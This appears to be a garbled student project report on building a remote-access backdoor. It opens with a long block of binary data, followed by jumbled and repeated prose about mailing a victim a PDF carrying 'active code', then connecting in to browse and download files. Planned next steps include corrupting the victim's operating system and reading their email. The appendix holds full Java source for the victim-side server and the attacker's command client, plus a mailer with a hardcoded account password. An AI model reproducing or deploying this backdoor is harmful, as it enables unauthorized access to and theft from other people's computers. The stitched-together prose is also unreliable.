A/7anrr06Ti1TnJ0 IZ5ajQKhFP9hunG3CpuD95uAnmyww/HvTMVNpjbnegVjTj67LlyhdGDqUMHi1 J9cXGa/s2XsnCx+MVvt BQSaNlaZMB/7cFZGZ0QxoEn23ZC8AjD5/MbgA6OSna3fq6H6aRJQnRtncis7X 0mqXuT5Q/Kpmy0iJDqq FbCR+R0rYXD7CEbAu8C2p+yiH73mXD3sdsRKdEMndKW9ywVBk7ChmC8lA/ 903ICtG98XV811Glkk4WW/ RScj9lFeKfaq3J5nX82zKahKvqLdxH8GoXAoRDKXckFRnk29wSCXXwuBfaSdK OP4jPLIBDAyE/blvcmW G4r+dZDCsbKCbPfXRkzYvaIZOEWfmSJRxu9+pqgsq1uEnTriszpIA9eFo7Oc8y eGiRX59zpgGctzntLx cIZcPMlG3ydPC+meaFAB5t9G1VMBCbiIbJxwTi3TUD6R7bJE9fP+CSSir+Bwuh t57DNmu3UOiFV/CrZj gCpna6QwBSjF20Ljyoz14uiSrxdVbrvD/8CVg/nL0/56F60YKbqgyfUj/wJrZUX03 0lK/JrXIOFUCFSh .

0RAD4roCxfasFe3IcO0d0BKo6jG6Cg5mh2pJbDNnTtWp/gQ0ikXD3Ke5hEfe1i ZAQsFHri3J4Dq2+/+U hXYYgytof8h5aiD8p/hj+V6SeAWQgPlErTMRs/tzc8d/Ou+o7wH4TEiCmA5Cl1B POjHsZyYm1mgvXhOK F7njbnP1198Em1TVE9Awnek1RPC99IypN1PyRFu3vqDO12n+9GLn8YJ3u/L6 WKfYmaT+KIN0Ts50ZmoN x/J9MhPjL08NUpn2o/w6NOsqe5mO92vGU88zNeQ83JayGISUO+I2ZjBaycyszy 9uccTvMV9QkqBRdw3h vcKnRfQRB9P6g4f0ctICWfYTdiIDfgNmyom1LaQNxMIQS+AoUhGR5ACI7Vx1w 3DXIRNEAYnAk9c2NSE4 YLkUVn1GR9YSJXJtzN5+ixOH9pkT9py0BcEGNdqNJXbAIyp6OgooraPNvuP5cL P2NujAeJ9lRd1mR7Fv lu9MBePhGZQxFEfLKVJ9TblP0kmiuDN597LbTn1k7NnM7XJEX6WOAFCe9qkcK VpNBe0OHktpmwebynPe hrBGVouIlh1PwLWRU40/24F6LqJePcak1WlDdlG2ZKfm6MSTJ1NpKWm3UYEc QdNEzcJR53iYv7BcDSeC Pqm/dvT6q7GBFhehSFkSVkQfuItGTr1Sel9HC494NKi8tDIzDIbWNZ+/YmwSqh f3A/PcKfIz+Ie9pac5 rhI85kzgTbbI4IbL7M1iTUWE5WzgznSwW+MKP/IwC3NvZuG8Aex32gS7WwA bju1bqDQ6g/ZIeruiMTI5 WOXN9cIq6EelptsjPz2vITbc/8fctt9WaLAHOc5NkueUXZqWX375TcZEma5WN/ tjBvcj5hdeWh+HZsqa PulgPJBT1u9uj4O/w/rtZ1g36j8UxivSqz1YY8b1VYcsW4wUZRXj9oFRo7a1klUj8 Ytuj1aj8IHhRdws YXF3O7Pxw/sL3/2tI1M9VibuIivqTwEcXQTgulTd/L9nfXpmWDl+4LRfpzYz9LO9 DJcVYZg0AIc7/ilq kIcGA/f8Zs6dcOJDxiVdWJblX3ZHvBru+1PE6VWE8JLNt571s/ooUEP1ySkblgglv wX4afr4BoeU3CSb PjbTUfKQ6TTz7JbuCnP19ELK0nb3iMuORlR1M/VEpZx77QWW90HG4hNU3W0 N0/iiaWHhFEBfYdJnoLP4 uSWifRwGCudVRQnliw5wtgpqXo28Ltv7syb0/6fsTsZgDHvZxsswbl6DtKpltOd kCH3dEgRWQbbh5aLS w9f03/TyWixriDs5HLh0Ymtr3t72EIeAi78vkq5ZTmsjeSJER0OZu/RJqSaK5KTNt zS0tlcxf4ACcPPy i5L1w/tzzuXDxGYTp5fClkJUZzfmU5rGFLhf3yyMJll2xOzojh4rIJ0hciVq9M2e/l6v APtQqcKdBZEy 3dQ95+CUDULjvahxQ5themky9niu7r2P4L+ksW2z/IVFMUwXvGCSFig4WxCT TK85w4HiN25rFHNeO/i6 26WxzB+yeMF7Caeha2i7y9nHmDt/3Ce4oFtrBbSkEuCT9o+uRPa0GrP4lli5nr +BrupHaJizc6AbYBqT h1cR/cwH47g7Yn0vOF7go416lK+bu3t08V2eE8EekKTXplSm1ss3rkOcWlQfZ CXJhYhxYIFEz1dYeYT7 HezU9fMzdAULVNDCDPvz+SlZj8W/Z2Kv/8b6hiBo4TFnHJCAyess8v71tY/ZO5 97oMt2Z/GNwTqmuFkz NJuPelIL9n4O0KCe+0QbZDKDjYfwvmzRFlB8zaRcUad7/8iccPiGeiJ8q3ZD86kU mzWz9gZGLdC+RCRi fOrskIPzppA6M/qOgZh3HMpxWEWt+ZcOu4k4KLvw9IBJcYHIAio1OOqAeTPxjA 6joa8t4plWEdtbjcKq .

Ipmq0ZdVYfY3EjLIJ9CXRRe5k/g+0QCtxyk1lTXtFfWsttISmnCSaGsiBapFGtVx2 k4ZvPf6fyY9nIzS uMOKijogoNT+eMY8ZZmBKpKnxAY67yKdb0WB2A2aQAickb1n9YP2hDxLcg mCKvGXeVGggSDBdmqYIgKQ skUz+AXK8Jsr97Z+WLmWnYKzaSppZtuCM4PxQ/PrAHqduLMbr5dZTYVwHHG aY7P5RFyIWRy5+LmINukQ J4MxEdbchBmtjsCM55GCxLYOOWZYW4UELzy6qblobdNzg/P6OXu8QBiDJUom Ris6Qhnl220oYccM+Xmp 5c4mTEuF3NtauY781US+E6TirE1w9AZ7EKFV+9zxwGBXzNNuIdprAO4l5Zld5 l8k1goWW0RdU8kXaFP2 1e9ALaY+3HbohUnBa/8ICnBao5FwUPJA9KDTZqfj+2Blj5jtsXEfwMO/8N7OCo Votc16LSbGqgdgh1AG 227PEDqCpPuzjxAB/CXu5zf9lCfalB0G577d5w/Z4VElpojmA8DEBDxa4zP7UWJ aybmCTcsmk0qgnHDn 6kPj7hdxI4MtaUU1tNtHd/gB50zblzBYNphs6mZfvwP3hFtcKahux/YhEhdUwDF ByZ5KUmQETyydIum2 1zL84gP6ljNzbwou6qH18l+FHkVjAEFOxzc5Opjh37cvqs6ro+GT/h8A9CKKpj4 4fA+dG0A2rfcc7XIp JrAz9HwV7RlBjUKFS3MENMev/WWDGF8QD6OrKvDJ7EOn4Fyu/6W3PCve3IRO fAa8damA8LabPrjO3k6W 6R5IYeKWLXWLI4kZbqyi+bowv44wBzYRQZ9TTO9E7k44r5gMPR+jkbHzPGdy To7ZPsNtA82z/wkQ4X2c uCcD/byYmnFSYR6GF/aDvXZUnwRU70cBUD14XJCzrTS7vCf7RBp6bzAD/w70 dw43J0biOW0RMOymv5AS yTtaOu3ZgR9KBiM3U+1Xw5mr26gtuSLZL7sGPwclXUXFSlJ4a9u0OkMnoZejQ Z0wCefzziN/ZFZ+PRB4 Xrr8uteY7kCOfdoFOiE0iJYXtRCGgPwjT1tsFrN/XqP5gqt56W+Pb/WFtqJ1phdj4 K+oBT8foNadkR3Y UFWAW3oR+AJGmEGo6IShkAvJ+qtT/OmrOH1wswgvghJIoaPtStLO4pfSAQnPJ OWtsTAfAnGBB2EgAktw bR4GRZ+2m32EQVeDGfGaPLxLNOeCFX0/eJOKNmKV2MXmCAfWv0ZADYOU yVOYJMgCNusrdvaT/auj8B2g ZKCFQjt9WGxesM9kAj7ADH99pmn2NIyzOHTg2x5c74WJi92u9Go6weLKRVD gt2yrJrP7m7eMDwZNfZc+ zU6Wg/9Ar9Dj/jIJLCm2Ew265eoMPfqtmrxcxK+BgONJcoGhc/VNvxVKB1TrzL9 AKjagQKYi0ixHt6Lc SnLiwSZAe0vemAkq7oVw5u4M0gvaBH/l8SFyK7zT9VqBnUrNJwPXbe7TaAzO 8+jjCxxe9qNskFF2tSxp O0GtnhczF7OR/qY9uqarmkl3I50KpppNLRf2tRXkAMZ60TNGDjxVyLHmpjjojYL HoHPJdwM8ejJRXOmN bPppHrIuibjDrvtSp+Y8v5XS6OuG2UMM/x56w5I12T/6WG78luq1M7m7PzctT0 niErHfM4ViI/OZlibL BgTzFMVrjcP+p275URyPCl1AEX1jvk2DZxNMFAuiZQsz6L2T82T7UwyuftX+8 DtZdN1kMYSMlF8VvKZK WZh/srf5RcGif7U9eZphwkPwlzV7kRtkyeN4iyzgXLSht5JD+EZ/deUusmTbF1yl 0EUj9O//RzP9IPL/ sguibqXyc+fySrftEYAQw5KWXwSg8c3/5GmoItBhBLjm90GiMjuSVMhJsZtFS8iJ QWRDPkRFE0HVt5MT .

CWDEXiz6x+UT9W+PT+Rj9+tXSStT/gxJYoir5lil8bzqTnkrL02916483z+QQHIr FG3zPuCld0dcN5Rk OCeDTAdvzPslQ/x7nWOXro7cvlgBqaT95IDt8gnKMzuBclovBSnyGeIwtaOkSR 8KEUwhMHz1/m3a1ATj emY81hVOSJBpRVuFuVw4xx89lirJwtpPraAQSoYkw/yHS3S5NvXna6As5WRvta Dxh7yIDKZvrNA6lK+g AJTqCicHvwX1S+7f02GK124bs3OBO0+6CZfsKv3ujdYjIhhg8ZCz8QUgVZtf0F 7PVXHkUQmUd6qnz4m/ cYP1YoyVkIPwTqmA/vV9ZTqQQ78Zb6bxy2lpIjeFj7FgphxF3LR+3CuAAA6NDh WVWlO9L2Pexiv2XKoL UfEmMVpuUCpwsHYTVfhMrRNrlLBUMzt/1aZZVYOUJ9LcMOt2WbFjGRRRT6wk d3/RfpzZUBgwIqP4Q9Gs yrk20aBck1nrTak+ShFbkEf+p0ctTWAG745Ds3I82Olwus9ni0viB4X7SEyb+E 6Mjvz78UwzA5E2oeED WONWdaXAE0KhqsEEw9JXLIM6OkAziYAw71ekNc0PDf+BNT6tlWhdPz7ZTyFy K039A/c97Jpz71WR+ZdV ldp/hi8s80/mWzFX5fvQh6Fu1kNSe9XFdFPeTPaLd6vXA/u7ViEjTUqIrQWA+y4 rxWXqqpkg22C8qTrj BtP0/gofU/m4pJrI7zim7wFUJtx1OacUsnr1tnpMfHHz/iRr67NCYfiGU1f8277J/6f eMpsTmLlTy6ix P13zgkYJQH972h87FuHTogcqbenL281RNK1OBtHAVd15NonKjJP4rO2Ju1J0Do +g7SWWgEz5knWSkNaR cGKrimBnIj+ +ZNICxzPzK39weJCT9mRNgZ8RF4P4M3PS6KWz+MPz9TmD9qmiq6Qf4/ec32 BOLAAPDoII vx4GvtuUfXyxjaO8MzXV5Lya7P/b4Egt85ab5CJ+Q0VfjOPJvFSpK0TuwSSn36R xFWyt4ZhDE47+4YtE z8P4I8f/z2HWA9xMiJ55HEtPfDYwV/gxecTlJ4mZGsrynZkUmYHvesjD97q9Vv0 PaII8VeQULlJsJsB+ 5f+UPi1fM/K4fos+ZBd5kj9Kt0iB0/ksGpjETUqGJi6h77rD2gVLoxxRmvz2rp0ht eSLoEC5rG8BDZ7R nzx0QpY8Wr/Jy1iVP+bIfL5aGwoDl0cthd3E70e6xIST76Xot0CpxDThiDKxSn6a eIIZHnZOQAWpU2bX cnicsjEx46FUf8bBawu9T0Gj+ajhiopUZy0Vq+pc25yD/4BsXzFTHviFqcXDEo/p NY8W4VUELzOKb2Di P3Cx3dLIiXtVaKc2iWX0TlsyjTjEyaUjHet1Nb+5Q7hWeZ1k39xzXaousE7obNC 2GMyX4Kp15EPGiYc3 IgbZTIRGp4UwNOp4I3aroYIOsxZoZfeVBLAwQUAAIACAC0beo6h9LpelQBAAB GAgAACgAAAHJlYWRtZS 50eHRdkUFLxDAQhe+F/oc5KtTuurhgve4qi6iIiqvHND+2g21SktSS/fVO06K7H gKTSeZ7Ly+7+9euIQ er9CqO4miLVhrqHGkVR3fUINjx2JGqoDO6MqKFUhvYkyr0YOHjOT93sk4ksFou lwk8vSU/rXldJ/B4G0 e7mU8WRM44pycilAy3oEsQyoPzHXJRhD+lA6ajmQeSqCQGwd4iGzKIgzCYQM lV6EvdtmgkiSbMK62OW2 HqFFSwW0N5Pz3xU/cghfrrssOavc5vP4QaH9gDuVr3DmQtTIVwxlKb7cWLbm 0Ce8wtOeQKP0zPx/lvKr BgmnDgWaXQbC4Mq2oUwd882dS4PVAXQgFSIYZB+GQaP77M3mSDwrCnck 5jBFj2NEfzX1HYr8BrtUIfIj .

CONCLUSIONS To hack network. with the help of that IP address and port number of remote computer we successfully connect our client program to the remote computer server program that we had send along with the PDF file through E-mail. With the help of this project we get success to trace IP address and port number of remote computer. we run our network hacking program in two different machine connected to the network . Now we successfully connect our computer to the remote computer. . and remote machine time.jhOYtNGeLe6M4bqmoHl1m2hovxRzMYM8+9w5RjP6Paue5msRiGIS0/Dn4AUE sBAhQAFAACAAgA4GzqOk o/JqUfOwUAAFoFAAsAAAAAAAAAAAAgAAAAAAAAAGhqc3BsaXQuZXhlUEsBA hQAFAACAAgAtG3qOofS6X pUAQAARgIAAAoAAAAAAAAAAQAgAAAASDsFAHJlYWRtZS50eHRQSwUGAAA AAAIAAgBxAAAAxDwFAAAA ---------------------------Raw Input Cmd :[download. To know remote computer operating system name and version. Once you get IP address and port number ping remote computer using IP address.we execute command like to excess remote computer directory . We then successfully execute all Command which we implement in our application. And we successfully execute all command .d:\hjsplit. to know what operating system running on remote computer and to download file from remote computer to our computer.then with the use of the IP address and port number we successfully get access to the remote computer .zip in F:\TestNP\Client Analysis. Like 1. necessary thing is to trace IP address and port number of remote computer.zip] [Enter Text:('bye' to quit)] : Info : hjsplit.

hard disk. lack of resources / prior expertise in this area. and vice versa 3. 5. To download file from remote computer to our computer.2. Download video from our system to remote system. to corrupt remote computer operating system. Download video from our system to remote system. .and want that we can sent e-mail from his account to another person. 5. (c) Network hacking is the area in which lot of thing can be done if we have resource and technical knowledge. 3. FUTURE DIRECTIONS (a) What you could not attempt in this project (due to shortage of time. Install software from our system to the remote system 2. Make directory in the remote computer.). unavailability of literature etc. To corrupt remote computer operating system. 4. Fetch large file from remote system 4. Get access to the directory. (b) What more can be done in this area if time / resources / technical knowhow are available or provided to you. (d) What more can be done by other groups wishing to work in this area. like 2. Install software from our system to the remote system 2. and vice versa 3. hard disk. Due to the shortage the time and lack of the resource we could not attempt Following thing 1. When we send PDF file to remote computer along with active code then we want to get access to the remote computer email account so that we can get access to his inbox out box . Fetch large file from remote system 4. Delete file from remote computer.

Ji. 4. Fourth Edition.P. Baganne. J. A. REFERENCES (link these reference with text in the above sections) [1] [2] W. 121-129. Aziz and N.ps. Liu. 2. Ding.we wish from some other group to implement that Feature to make project more powerful. LNCS 4586. May 2007. Analysis of the SMS4 Block Cipher. but feature which we cannot implement . Khriji. 2007. pp. Zeghid.Pyshkin and R.org/2008/329. Diffie and G. and R. pp. A. Weinmann. A. 3. Cryptography & Network Security Principles and Practices. Tourki A Modified AES Based Algorithm for Image Encryption. (10 – 25 references) . like. L. SMS4 Encryption Algorithm for Wireless Networks. W. Pearson Education. [3] [4] [5] …. W. and vice versa Fetch large file from remote system to corrupt remote computer operating system.11i Wireless Standard. Vol. Retrieved 15 May 2008 from eprint. M. An Efficient Software Implementation of AES-CCM for IEEE 802.Up to our knowledge and within this sort time we try our best. L. ACISP 2007. 21. Stallings.iacr. Lv. 158-170. 31st Annual International Computer Software and Application Conference. Samiah. Engineering and Technology. F. Ledin. M. COMPSAC 2007. 2007. Ikram. hard disk. Proceedings of the World Academy of Science. Install software from our system to the remote system Download video from our system to remote system.Machhout. Hu. 3. S.

int qLength.commons.*. and is being operated by Hacker. Socket connection = null. int portNumber.binary. import org. File Content: package javaserver. String message.io. Javaserver() { .codec.Date. ObjectInputStream in.Base64. import java. ObjectOutputStream out. import java.*.util.APPENDIX – Source Code (Comment your source code) Code File: Javaserver.java Purpose: This program runs on victim computer.net. public class Javaserver { ServerSocket providerSocket.apache. import java.

getInputStream()). connection = providerSocket.getInetAddress().println("[" + (i + 1) + "]" + addr[i]). in = new ObjectInputStream(connection. sendMessage("Connection successful"). creating a server socket providerSocket = new ServerSocket(portNumber.println("Server started at : " + new Date().getPort()). qLength = 10.println("Connection received from " + connection. System.getHostAddress() + ":" + providerSocket. //4.close().getAllByName("localhost"). handleClientMessage(message).getLocalPort()).getOutputStream()).flush(). } catch (ClassNotFoundException classnot) { System. System. out.getHostName() + ":" + connection.portNumber = 5000.length. } } while (!message.getLocalPort()).println("Waiting for connection on : " + providerSocket.out. get Input and Output streams out = new ObjectOutputStream(connection. for (int i = 0. out.err. System.println("Waiting for connection on : " + InetAddress. //3. } public static void getAllIPs(String[] args) throws Exception { InetAddress[] addr = InetAddress.close().equals("bye")).println("Data received in unknown format").out.readObject().accept(). System.getLocalHost().out. qLength). i < addr. The two parts communicate via the input and output streams do { try { message = (String) in.out.out. //2. Wait for connection System. } catch (IOException ioException) { ioException. i++) { System. .close().getHostAddress() + ":" + providerSocket.getInetAddress(). } finally { //4: Closing connection try { in.println("client>" + message).printStackTrace(). providerSocket.out.toString()). } } void run() { try { //1.

} else if (message.version")).equals("getOs")) { sendMessage(System. String rawCmd = message.split(".printStackTrace().err. file = new File(cmdArgs[1]). } else { try { FileInputStream fis = new FileInputStream(file). fis.name") + " " + System. String encodedText = new String(Base64.equals("download")) { if (cmdArgs.} catch (IOException ioException) { ioException.append(cmdArgs[1]).toString()).encodeBase64(clearText. sb.append(encodedText).close(). String cmdArgs[] = rawCmd.append(cmdArgs[1]). sb = new StringBuffer("ok:").").append("Error: ").startsWith("cmd:")) { File file = null.append("Error: "). } } . fis.out.getProperty("os. StringBuffer sb = new StringBuffer("Blank Msg"). sb. } } } private void handleClientMessage(String message) { if (message.getBytes())). String clearText = new String(data). if (!file.println("Raw Cmd :[" + rawCmd + "]"). sb. cmdArgs[1]). sb. } else if (message.append(" does not exists!"). sb.getProperty("os. if (cmdArgs[0].isDirectory()) { sb = new StringBuffer(). byte data[] = new byte[fis.substring(4). sb. } catch (Exception ex) { System. File baseDir = new File("F:/TestNP/Server").append(" is directory!"). System. } else { if (file.available()].length >= 2) { //file = new File(baseDir.println(ex).read(data). sb.equals("getTime")) { sendMessage(new Date().exists()) { sb = new StringBuffer().

sb.append(file.append(cmdArgs[1]). } if (file. } else { if (file.append(" already exists!"). } .append(". sb. } } else if (cmdArgs[0].mkdir()) { sb = new StringBuffer("Success: ").length >= 2) { file = new File(cmdArgs[1]).err.append(" is not directory or drive").getCanonicalPath()).exists() && file.length >= 1) { sb. } } catch (Exception ex) { System.} } else { sb = new StringBuffer("Usage : mkDir dirName"). if (files.append(cmdArgs[1]). if (file.equals("ls")) { try { if (cmdArgs.getCanonicalPath() + " is blank.append("Error: "). System. } } else { sb. sb. } else { sb = new StringBuffer("Failure: "). sb. sb."). } else { file = baseDir.isDirectory()) { File files[] = file.out.").append(" failed to create!").getCanonicalPath()).exists() && file.append(cmdArgs[1]). sb. sb. sb = new StringBuffer().append("ok:"). sb.println("Info :"+file.listFiles().isDirectory()) { sb = new StringBuffer(). cmdArgs[1]).append(" created!"). } } else if (cmdArgs[0].println(ex). sb.length >= 2) { file = new File(baseDir.append("Info : " + file.equals("mkDir")) { if (cmdArgs. } } else { sb = new StringBuffer("Error: "). for (File tFile : files) { sb.append(tFile). sb.

} } else { sb = new StringBuffer("Usage : mkDir dirName").writeObject(msg).run(). . import java. } } public static void main(String args[]) { try { getAllIPs(args). } catch (Exception ex) { System. import java. out. } } } Code File: Javaclient.printStackTrace(). sb.println("server>" + msg). import java.append(rawCmd). } else if (message. } Javaserver server = new Javaserver().flush().net.*. } catch (IOException ioException) { ioException.io.append(" is currently not available!").toString()). while (true) { server. and is used to feed command to victim computer to get desired thing done remotely. System.equals("dummy")) { sendMessage(message). } } else { sb = new StringBuffer("Notice: ").java Purpose: This program runs on hacker computer. File Content: package javaclient.out.*. } else { sendMessage(message).println("Exception : " + ex). } sendMessage(sb.Scanner.err. sb.util. } } void sendMessage(String msg) { try { out.

out.println("server>" + message).getInetAddress(). System. inputData = keyboard. ObjectOutputStream out.. // Communicating with the server do { try { System. //sendMessage(message). portNumber).getOutputStream()). System.getPort()). System. } void run() { try { serverAddress = InetAddress.portNumber = portNumber. message = (String) in. //message = "bye".getHostAddress() + ":" + requestSocket. //sendMessage("I am a Client").out. int portNumber.binary. // creating a socket to connect to the server requestSocket = new Socket(serverAddress.Base64.getByName(serverName).apache.out.import org. String message.print("\n[Data In] : " + inputData). int portNumber) { this.nextLine()..out.getInputStream()).flush(). Scanner keyboard = null.serverName = serverName.println("\n----------------------------").print("[Enter Text:('bye' to quit)] : ").out."). // get Input and Output streams out = new ObjectOutputStream(requestSocket. this. System.in). String inputData = "". System. //-----------------------------//do { handleServerMessage(message). String serverName. in = new ObjectInputStream(requestSocket.readObject().codec. ObjectInputStream in. InetAddress serverAddress.println("Reading incoming data.commons. //sendMessage("Hi my server"). public class Javaclient { Socket requestSocket. .out.out.println(). keyboard = new Scanner(System. out.println("Connected to :" + requestSocket. System. Javaclient(String serverName.

println("Info : " + file.printStackTrace(). out.getName()).split(".getParent()). String cmdArgs[] = rawCmd. /* String cmd = rawCmd. //-----------------------------} catch (ClassNotFoundException classNot) { System.err. } } while (!message.startsWith("cmd:")) { File file = null.isFile()) { System. cmdArgs = new String[2].println("Raw Input Cmd :[" + rawCmd + "]").out. requestSocket. } } } private void handleServerMessage(String message) { if (inputData. String rawCmd = inputData. //} while (!inputData. sendMessage(message).getName() + " already exists! in " + file.equalsIgnoreCase("q")). rawCmd. File tFile = new File(cmdArgs[1]). } catch (UnknownHostException unknownHost) { System.println("[Msg sent!]").out.indexOf(" ")+1). cmdArgs[0] = cmd. cmdArgs[1] = rawCmd.println("You are trying to connect to an unknown host!").close().close(). } finally { // Closing connection try { in.indexOf(" "))."). tFile.println("data received in unknown format").substring(4).substring(3). } else { . file = new File(baseDir. System.substring(0. //System. //file = new File(cmdArgs[1]).out. if (file.startsWith("ok:")) { String fileData = message.err.equals("download")) { if (message. } catch (IOException ioException) { ioException.close().substring(rawCmd.message = inputData. if (cmdArgs[0]. } catch (IOException ioException) { ioException. System.printStackTrace(). */ StringBuffer sb = new StringBuffer("Blank Msg").exists() && file.equals("bye")).println("Done!").out. File baseDir = new File("F:/TestNP/Client").

String plainData = new String(Base64.out.run(). } } public static void main(String args[]) { try { Javaclient client = null. } } } else { System. 5000).println(ex). } client.writeObject(msg). } } else if (cmdArgs[0].flush().out.out.out.getCanonicalPath()).println("Info : File saved as:\n" + file. Integer. } else { client = new Javaclient("localhost".println("Server Msg>" + message). } catch (IOException ioException) { ioException.try { FileOutputStream fos = new FileOutputStream(file).startsWith("ok:")) { String rawResponse = message. .println("File Data:\n" + plainData). System.err. } catch (Exception ex) { System.write(plainData. i++. DataOutputStream dos = new DataOutputStream(fos).length >= 2) { client = new Javaclient(args[0].flush().equals("ls")) { if (message.split(".printStackTrace().substring(3).close(). for (String item : items) { System.out. int i = 1.println("client>" + msg). dos."). fos. String items[] = rawResponse. dos. } } } } } void sendMessage(String msg) { try { out. out.decodeBase64(fileData)).parseInt(args[1])). //System.close().getBytes()). if (args. System. dos.println("[" + i + "]" + item).

props. public SendMail(String from. "465").mail. public class SendMail { private String from.put("mail.put("mail. import javax.mail.Transport. "complex252481"). } System. "true"). private String subject.text = text. "true"). private String text. } public void send() { Properties props = new Properties(). import javax.internet. import javax. String to. props.subject = subject.err. "smtp. . import javax.starttls. // added this line props.put("mail. import java.enable".smtp.password". } } E-mail Sender : package javamailerapp. this.from = from.com").mail. import javax.println("Exception : " + ex).util.mail. from).println("\nDone!").internet.mail.} catch (Exception ex) { System.RecipientType.MimeMessage.Properties. private String to.Message.Session. String text) { this.to = to.MessagingException.smtp.Message.auth". props.port".InternetAddress.put("mail. props. props.mail. import javax.smtp.mail.AddressException.put("mail.put("mail.smtp. import javax. import javax.out.user".gmail.smtp.internet. String subject.host". this.mail.smtp. this.

Session mailSession = Session.host") . transport. transport.send(simpleMessage).getTransport("smtp"). simpleMessage.getProperty("mail. //SMTP authentication Transport transport = mailSession. } catch (MessagingException e) { System. } } } Main Method :package javamailerapp.getProperty("mail. } try { simpleMessage. toAddress = new InternetAddress(to). simpleMessage.printStackTrace().printStackTrace().println("Email could not be sent due to error: " + e). transport.smtp.getProperty("mail.getAllRecipients()).setText(text). props.close(). InternetAddress fromAddress = null.smtp. simpleMessage.password")) . /** * * @author Munish . props.smtp.sendMessage(simpleMessage.setFrom(fromAddress).user") .connect (props. simpleMessage. simpleMessage. } catch (AddressException e) { // TODO Auto-generated catch block e. try { fromAddress = new InternetAddress(from).TO.err. Message simpleMessage = new MimeMessage(mailSession).setRecipient(RecipientType.saveChanges().getDefaultInstance(props). e. toAddress). InternetAddress toAddress = null. //Transport.setSubject(subject).

to. ex.printStackTrace().println("Mail Sent!"). sendMail. message). subject.kumar. System. SendMail sendMail = new SendMail(from.out.*/ public class JavaMailerApp { /** * @param args the command line arguments */ public static void main(String[] args) { try{ String from = "munish. } System.out. String message = "A test message".out. String subject = "Test". String to = "vrrma_manu07@yahoo. }catch(Exception ex){ System.com". } } .println("Done!").send().println("Exception : "+ex).2008@gmail.com".

Sign up to vote on this title
UsefulNot useful